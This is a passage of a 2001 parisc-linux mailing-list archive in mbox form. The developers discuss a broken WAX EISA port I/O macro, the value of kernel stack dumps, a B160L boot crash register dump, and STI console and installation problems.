	  u8 (*inb)  (struct pci_hba_data *hba, u16 port);
	 u16 (*inw)  (struct pci_hba_data *hba, u16 port);
	 u32 (*inl)  (struct pci_hba_data *hba, u16 port);
	void (*outb) (struct pci_hba_data *hba, u16 port,  u8 data);
	void (*outw) (struct pci_hba_data *hba, u16 port, u16 data);
	void (*outl) (struct pci_hba_data *hba, u16 port, u32 data);
};

Then in arch/parisc/kernel/pci.c, we have the wonderfully obscured:

#define PCI_PORT_OUT(type, size) \
void out##type (u##size d, int addr) \
{ \
	int b = PCI_PORT_HBA(addr); \
	ASSERT(pci_port); \
	pci_port->out##type(parisc_pci_hba[b], PCI_PORT_ADDR(addr), d); \
}

PCI_PORT_OUT(b,  8)
PCI_PORT_OUT(w, 16)
PCI_PORT_OUT(l, 32)

So I _think_ the right fix is to change WAX_EISA_OUT to:

#define WAX_EISA_OUT(type, size) \
static void wax_out##type (struct pci_hba_data *hba, u16 addr, u##size d) \
{ \
	u32 out_addr = 0xfc000000 + ((addr & 0xfc00) >> 6) + \
			((addr & 0x03f8) << 9) + (addr & 0x0007) ; \
	gsc_write##type(d,out_addr); \
} 

(and WAX_EISA_IN has the same issue, of course).

Comments?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.6-pa5 crashes on B160L
Date: Mon, 9 Jul 2001 00:48:38 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <20010709004838.R6103@parcelfarce.linux.theplanet.co.uk>
References: <willy@debian.org> <200107082331.RAA09058@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620275 21821 80.91.229.3 (22 Nov 2014 01:37:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:55 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul  8 17:48:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id EE4DC482B
	for <parisc-linux@lists.parisc-linux.org>; Sun,  8 Jul 2001 17:48:39 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15JOI2-0007c6-00; Mon, 09 Jul 2001 00:48:38 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200107082331.RAA09058@puffin.external.hp.com>; from grundler@puffin.external.hp.com on Sun, Jul 08, 2001 at 05:31:25PM -0600
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11535

On Sun, Jul 08, 2001 at 05:31:25PM -0600, Grant Grundler wrote:
> No. I don't think we should turn it off.
> Not until we can get memory core dumps on crashes like HPUX does.

So far, I've seen _one_ useful stack dump posted to this list.  The others
have just caused extra hassle & confusion for our users.  And that
one stack dump was from Ryan , after repeated to-ing-and-froing with a
repeatable problem -- so he could have turned on an option very easily.

> Isn't that what the stack dump is for?

It's only useful if you've also got the System.map.  If we didn't do
the stack dump, the users would probably send more information which
came before the stack dump.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] I think WAX is broken
Date: Sun, 08 Jul 2001 19:03:20 -0600
Lines: 33
Approved: news@gmane.org
Message-ID: <200107090103.TAA09348@puffin.external.hp.com>
References: <willy@debian.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620276 21827 80.91.229.3 (22 Nov 2014 01:37:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:56 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul  8 19:04:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 753D8482B
	for <parisc-linux@parisc-linux.org>; Sun,  8 Jul 2001 19:04:11 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id TAA09348;
	Sun, 8 Jul 2001 19:03:20 -0600
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Mon, 09 Jul 2001 00:44:02 BST." <20010709004402.Q6103@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:11536

Matthew Wilcox wrote:
...
> `addr' is a u16.  it can't possibly be >= 0x00080000 or >= 0x00500000.

Yup - that's definitely broken.

...
> Then in arch/parisc/kernel/pci.c, we have the wonderfully obscured:

Hey! that's mine! :^P

...
> So I _think_ the right fix is to change WAX_EISA_OUT to:
> 
> #define WAX_EISA_OUT(type, size) \
> static void wax_out##type (struct pci_hba_data *hba, u16 addr, u##size d) \
> { \
> 	u32 out_addr = 0xfc000000 + ((addr & 0xfc00) >> 6) + \
> 			((addr & 0x03f8) << 9) + (addr & 0x0007) ; \
> 	gsc_write##type(d,out_addr); \
> } 

Someone needs to understand what "((addr & 0xfc00) >> 6)" does.
It looks like it overlaps with "((addr & 0x03f8) << 9)".

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.6-pa5 crashes on B160L
Date: Sun, 08 Jul 2001 19:20:02 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <200107090120.TAA09388@puffin.external.hp.com>
References: <willy@debian.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620276 21828 80.91.229.3 (22 Nov 2014 01:37:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul  8 19:20:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id B5CE7482B
	for <parisc-linux@lists.parisc-linux.org>; Sun,  8 Jul 2001 19:20:59 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id TAA09388;
	Sun, 8 Jul 2001 19:20:02 -0600
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Mon, 09 Jul 2001 00:48:38 BST." <20010709004838.R6103@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:11537

Matthew Wilcox wrote:
> If we didn't do
> the stack dump, the users would probably send more information which
> came before the stack dump.

*sigh*
My gut feeling is you are right.
Despite asking for *full* console output, seems everyone trims the output.
I'm not sure an option would fix this. Perhaps we only get register dumps
instead. :^/

However, it's useful as an option if one can (a) reproduce the problem and
(b) enable stack dump as a boot parameter with exactly the same kernel bits.

Sorry for the 180 so suddenly.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] I think WAX is broken
Date: Mon, 9 Jul 2001 02:30:48 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <20010709023048.S6103@parcelfarce.linux.theplanet.co.uk>
References: <willy@debian.org> <200107090103.TAA09348@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620276 21831 80.91.229.3 (22 Nov 2014 01:37:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:56 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul  8 19:30:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8E80F482B
	for <parisc-linux@parisc-linux.org>; Sun,  8 Jul 2001 19:30:50 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15JPsu-0000oj-00; Mon, 09 Jul 2001 02:30:48 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200107090103.TAA09348@puffin.external.hp.com>; from grundler@puffin.external.hp.com on Sun, Jul 08, 2001 at 07:03:20PM -0600
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11538

On Sun, Jul 08, 2001 at 07:03:20PM -0600, Grant Grundler wrote:
> Hey! that's mine! :^P

It's still obscure.  I know x86 does something similar, and I think it's
obfuscated too.

> Someone needs to understand what "((addr & 0xfc00) >> 6)" does.
> It looks like it overlaps with "((addr & 0x03f8) << 9)".

fc00 >> 6 = 3f0
03f8 << 9 = 7f000
7 = 7

1111'1100'0000'0000 -> 0000'0000'0011'1111'0000
0000'0011'1111'1000 -> 0111'1111'0000'0000'0000
0000'0000'0000'0111 -> 0000'0000'0000'0000'0111

1111'1111'1111'1111 -> 0111'1111'0011'1111'0111

Icky.  And it means we can't do away with the function calls for inb/outb.
*sigh*.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Scott Ashcroft <scott.ashcroft@talk21.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.6-pa5 crashes on B160L
Date: Mon, 9 Jul 2001 02:41:27 +0100
Lines: 43
Approved: news@gmane.org
Message-ID: <20010709024127.B22458@cargoclaimsdirect.com>
References: <3B487A78.45BA70AB@talk21.com> <20010708221012.N6103@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620277 21835 80.91.229.3 (22 Nov 2014 01:37:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul  8 19:43:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ccd.cargoclaimsdirect.com (unknown [62.6.162.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0EC35482B
	for <parisc-linux@lists.parisc-linux.org>; Sun,  8 Jul 2001 19:43:51 -0600 (MDT)
Original-Received: from ashcroft by ccd.cargoclaimsdirect.com with local (Exim 3.22 #1 (Debian))
	id 15JQ3D-0005qZ-00; Mon, 09 Jul 2001 02:41:27 +0100
Content-Disposition: inline
In-Reply-To: <20010708221012.N6103@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.18i
Xref: news.gmane.org gmane.linux.ports.parisc:11539

On Sun, Jul 08, 2001 at 10:10:12PM +0100, Matthew Wilcox wrote:
> On Sun, Jul 08, 2001 at 04:21:28PM +0100, Scott Ashcroft wrote:
> > Kernel Fault: Code=26 regs=10554600 (Addr=1025d080)
> > 
> >      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> > PSW: 00000000000001001111111000001111
> > r0-3     00000000 10294810 102a4980 10291010
> > r4-7     102917c4 102e4348 102e4404 10000080
> > r8-11    1028e748 0000004d 0004000e 1029ccd4
> > r12-15   00000001 00000001 000000fd f0100000
> > r16-19   f0000c30 f0000174 00000020 1025d080
> > r20-23   1028d26c 10294cf4 10294810 00000002
> > r24-27   102659e8 102954c8 102917c4 1026e010
> > r28-31   00000000 102e9810 10554840 102d7810
> > sr0-3    00000000 00000000 00000000 00000000
> > sr4-7    00000000 00000000 00000000 00000000
> > 
> > IASQ: 00000000 00000000 IAOQ: 102a4990 102a4994
> >  IIR: 0e601200    ISR: 00000000  IOR: 1025d080
> >  ORIG_R28: 0004000e
> > 
> > What else is needed to debug this? Is there a ksymoops equivalent?
> > I can supply .config, System.map on request.
> 
> I tend to look it up by hand -- 102a4990 is the most interesting address,
> (IAOQ) and r2 is sometimes also interesting (not in this case, it
> would seem).

102a494c ? probe_serial_pci

would seem to be the one.

> It'd also be helpful to show where the kernel got to before it did the
> stack dump -- might help track it down.

Forgot to say it was right at the start of booting.

Cheers,
Scott





From - Thu Nov 08 21:18:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palinux 0.9.1
Date: Mon, 9 Jul 2001 08:46:33 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <20010709084633.C23509@linuxcare.com>
References: <OFE6582140.671FFFD5-ONC1256A81.00401A6F@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620277 21838 80.91.229.3 (22 Nov 2014 01:37:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:57 +0000 (UTC)
Cc: "Richard Hirst <rhirst" <rhirst%linuxcare.com%SMTP%EUROPAY@mastercard.com>,
	parisc-linux@lists.parisc-linux.org, puffin@esiee.net
To: =?iso-8859-1?Q?Jo=EBl_Soete?= <jso@europay.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  9 01:47:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id ED935482B
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Jul 2001 01:47:37 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 45618B00C; Mon,  9 Jul 2001 08:46:33 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <OFE6582140.671FFFD5-ONC1256A81.00401A6F@LocalDomain>; from jso@europay.com on Fri, Jul 06, 2001 at 02:57:19PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11540

On Fri, Jul 06, 2001 at 02:57:19PM +0200, Jol Soete wrote:
> 
> 
> Hello Richard,
> 
> The problem ip_local_deliver:... cames in fact from the dhcp_client which
> is started by default?

I reproduced that problem; hadn't seen it before because I usually
use dhcp to configure my network.  Seems you only get the errors if
dhcp-client doesn't have any real interfaces to configure.

> For the sti console, I do have to be unlucky; I get backup the kernel
> installed with 0.9 then ps2 kbd works back ( I also suspect the kbd and
> change it, no difference)? what could be the problem? I also try to get the
> last firmware but HP prevent to install it over the builtin ?

You are not the only person with this problem, so hopefully someone will
fix it soon.

Richard





From - Thu Nov 08 21:18:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installation on B180L workstation.
Date: Mon, 9 Jul 2001 09:00:53 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20010709090053.D23509@linuxcare.com>
References: <3B46452A.D15E2F4C@cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620277 21840 80.91.229.3 (22 Nov 2014 01:37:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Gururaj Ananthateerta <gururaj@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  9 02:01:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 169BB482B
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Jul 2001 02:01:58 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id E7727B00C; Mon,  9 Jul 2001 09:00:53 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <3B46452A.D15E2F4C@cup.hp.com>; from gururaj@cup.hp.com on Fri, Jul 06, 2001 at 04:09:30PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:11541

On Fri, Jul 06, 2001 at 04:09:30PM -0700, Gururaj Ananthateerta wrote:
> I am trying to install on B180L.  I have an external CD ROM.
>  Does installation supports this configuration. ? If not
> how can i install?

Should work, so far as I know.  Please can you give more information:

What CD are you trying to install from? 0.9 ISO? 0.9.1 ISO?
(0.9.1 ISO has some problems, I hope a fixed one will be posted
soon).

Serial console or graphical console?

Does the system find the CDROM when you do a SEArch?

What happens when you try the install, exactly?


Richard





From - Thu Nov 08 21:18:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthieu Le Corre <matthieu.lecorre@polytech.univ-nantes.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] sti console problem
Date: Mon, 9 Jul 2001 16:09:02 +0200
Organization: Ecole Polytechnique de =?iso8859-1?q?l'Universit=E9=20de?= Nantes
Lines: 17
Approved: news@gmane.org
Message-ID: <01070916084706.01035@flambe.ireste.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620278 21845 80.91.229.3 (22 Nov 2014 01:37:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  9 08:03:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.ireste.fr (mail.ireste.fr [193.52.81.37])
	by dsl2.external.hp.com (Postfix) with ESMTP id BFEA9482B
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Jul 2001 08:02:58 -0600 (MDT)
Original-Received: from flambe.ireste.fr (flambe [193.52.81.109])
          by mail.ireste.fr (8.9.1a/jtpda-5.3.1) with SMTP id QAA02062
          for <parisc-linux@lists.parisc-linux.org>; Mon, 9 Jul 2001 16:05:05 +0200 (MET DST)
X-Mailer: KMail [version 1.2]
Xref: news.gmane.org gmane.linux.ports.parisc:11542

i got a 735 appollo series ,with 0.9 iso installed 
i've installed sti kernel all work execpt that i get an 'unable to open 
initial console " all right seems to be good
don't undestand why it failed ,
need help !!!
-- 
_______________________________________

                      Matthieu Le Corre 
                    Service informatique
 Ecole Polytechnique de l'Universit de Nantes
     Matthieu.Lecorre@polytech.univ-nantes.fr
                        02.40.68.32.23
_______________________________________




From - Thu Nov 08 21:18:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: LaMont Jones <lamont@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: B132 dies too (was Re: [parisc-linux] 2.4.6-pa5 crashes on B160L)
Date: Mon, 09 Jul 2001 09:34:38 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <20010709153451.4D2731872C@security.hp.com>
References: <200107082331.RAA09058@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620278 21847 80.91.229.3 (22 Nov 2014 01:37:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:58 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org, lamont@hp.com
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  9 09:35:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [192.151.27.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id A8428482B
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Jul 2001 09:35:12 -0600 (MDT)
Original-Received: from security.hp.com (cranston.fc.hp.com [15.1.44.224])
	by atlrel6.hp.com (Postfix) with ESMTP
	id 0F05E1F6B6; Mon,  9 Jul 2001 11:35:12 -0400 (EDT)
Original-Received: from cranston.fc.hp.com (cranston.fc.hp.com [15.1.44.224])
	by security.hp.com (Postfix) with ESMTP
	id 4D2731872C; Mon,  9 Jul 2001 09:34:51 -0600 (MDT)
In-reply-to: Your message of "Sun, 08 Jul 2001 17:31:25 MDT."
             <200107082331.RAA09058@puffin.external.hp.com> 
Content-ID: <16852.994692877.1@cranston.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11543

My B132 (which works 2.4.0) crashes sometime between palo launching the
kernel, and it having a working console (serial).  That is to say, no info
at all.  If someone wants the machine in order to debug it, just holler...

> If one is really good (like jsm) and has a matching vmlinux and System.map,
> one can backtrace the stack by hand by looking at stack frame (return pointer
> is in the stack frame) and seeing how much each subroutine grows the stack
> (look at code around subroutine call, iirc). I think the mail archives
> have a concise desription of exactly how to use the stack dump.
> But I am too lazy to look for it now.

Backtracing is extremely straight-forward, and can be automated, AFAIK.
Walking the stack forward is a bit more challenging, but not entirely
beyond possibility most of the time...

lamont




From - Thu Nov 08 21:18:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palinux 0.9.1
Date: Mon, 9 Jul 2001 17:42:10 +0200
Lines: 69
Approved: news@gmane.org
Message-ID: <OFD4FFC380.1EA16BBB-ONC1256A84.0055A177@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620278 21850 80.91.229.3 (22 Nov 2014 01:37:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, puffin@esiee.net
To: rhirst@linuxcare.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  9 09:40:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6309F482B
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Jul 2001 09:40:06 -0600 (MDT)
Original-Received: from mcnbru01 (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d54a52c08df@epirel991.europay.com>;
 Mon, 9 Jul 2001 17:39:39 +0200
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on MCNBRU01/MASTERCARD(Release 5.0.6a |January 17, 2001) at
 07/09/2001 05:42:12 PM
Xref: news.gmane.org gmane.linux.ports.parisc:11544

FYI

I just recompile last cvs kernel (20010709 ie 2.4.6-pa7)
It boot fine (whithout yet STICON, just as before kernel of palinux-0.9).
So I believe that STICON on B180 will work soon.

Kind regards,
     Joel



                                                                           =
                                  =20
                    Richard Hirst                                          =
                                  =20
                    <rhirst@linux        To:     Jo=EBl Soete/BRU/MASTERCAR=
D@MASTERCARD                        =20
                    care.com>            cc:     "Richard Hirst <rhirst"   =
                                  =20
                                         <rhirst%linuxcare.com%SMTP%EUROPAY=
@mastercard.com>@SMTP@EUROPAY,    =20
                    09-07-01             parisc-linux@lists.parisc-linux.or=
g@SMTP@EUROPAY,                   =20
                    09:46 AM             puffin@esiee.net@SMTP@EUROPAY     =
                                  =20
                                         Subject:     Re: [parisc-linux] pa=
linux 0.9.1                       =20
                                                                           =
                                  =20



On Fri, Jul 06, 2001 at 02:57:19PM +0200, Jo=EBl Soete wrote:
>
>
> Hello Richard,
>
> The problem ip_local_deliver:... cames in fact from the dhcp_client which
> is started by default?

I reproduced that problem; hadn't seen it before because I usually
use dhcp to configure my network.  Seems you only get the errors if
dhcp-client doesn't have any real interfaces to configure.

> For the sti console, I do have to be unlucky; I get backup the kernel
> installed with 0.9 then ps2 kbd works back ( I also suspect the kbd and
> change it, no difference)? what could be the problem? I also try to get
the
> last firmware but HP prevent to install it over the builtin ?

You are not the only person with this problem, so hopefully someone will
fix it soon.

Richard





**********************************************************************
This e-mail and any attachments to it may contain confidential information =
which is strictly intended for the use of the authorised recipient.  If you=
 have received this e-mail in error, please delete it and notify the sender=
 by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************




From - Thu Nov 08 21:18:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palinux 0.9.1
Date: Mon, 9 Jul 2001 18:26:32 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20010709182632.N23509@linuxcare.com>
References: <OF5EDA36D9.81945ED8-ONC1256A7F.00596A33@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620278 21852 80.91.229.3 (22 Nov 2014 01:37:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:58 +0000 (UTC)
Cc: puffin@esiee.net, parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?Q?Jo=EBl_Soete?= <jso@europay.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  9 11:27:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6D47F482B
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Jul 2001 11:27:39 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id E3916B00C; Mon,  9 Jul 2001 18:26:32 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <OF5EDA36D9.81945ED8-ONC1256A7F.00596A33@LocalDomain>; from jso@europay.com on Wed, Jul 04, 2001 at 06:44:02PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11545

On Wed, Jul 04, 2001 at 06:44:02PM +0200, Jol Soete wrote:
> Hi all,
> 
> Very nice on 712 model.
> Just a small problem after the configuration of the inet interface:
> ip_local_deliver: bad loopback skb: PRE_ROUTING LOCAL_IN
